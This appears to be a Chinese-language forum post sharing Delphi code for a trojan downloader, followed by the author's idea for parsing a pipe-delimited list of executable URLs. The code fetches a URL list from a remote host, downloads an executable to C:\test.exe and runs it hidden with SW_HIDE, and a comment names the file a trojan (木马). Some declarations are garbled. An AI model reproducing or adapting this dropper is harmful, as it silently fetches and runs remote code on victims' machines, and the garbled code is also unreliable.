//取网页内容 function StrPas(const Str: PChar): string; begin Result := Str; end; function GetWebPage(const Url: string):string; var Session, HttpFile:HINTERNET; szSizeBufferointer; dwLengthSizeBufferWord; dwReservedWord; dwFileSizeWord; dwBytesRead:DWord; ContentsChar; begin Session:=InternetOpen('',0,niL,niL,0); HttpFile:=InternetOpenUrl(Session,PChar(Url),niL,0,0,0); dwLengthSizeBuffer:=1024; HttpQueryInfo(HttpFile,5,szSizeBuffer,dwLengthSizeBuffer,dwReserved); GetMem(Contents,dwFileSize); InternetReadFile(HttpFile,Contents,dwFileSize,dwBytesRead); InternetCloseHandle(HttpFile); InternetCloseHandle(Session); Result:=StrPas(Contents); FreeMem(Contents); end;
//程序入口 var downurl: string; begin downurl:= GetWebPage(pchar('http://192.168.84.3/down.txt';)); if UrlDownloadToFile(nil, Pchar(downurl), Pchar('C:\test.exe'), 0, nil)=0 then//如果成功下载并保存于C:\木马.exe 则执行下边代码. begin winexec('C:\test.exe',SW_HIDE); end; end.
给出本人菜菜思路.. 例如读取 txt 内容为: txt:= |http://www.163.com/1.exe|http://www.baidu.com/2.exe|http://www.3.exe| 用到函数.. function GetChars(AString: string; fChar, EChar: char): String; var i, tmpPos: Integer; begin Result := ''; tmpPos := Pos(fChar, AString); if tmpPos = 0 then exit; for i := tmpPos + 1 to Length(AString) do begin if AString = EChar then break; Result := Result + AString; end; end; 调用方法.. downurl1:= GetChars(txt,'|','|');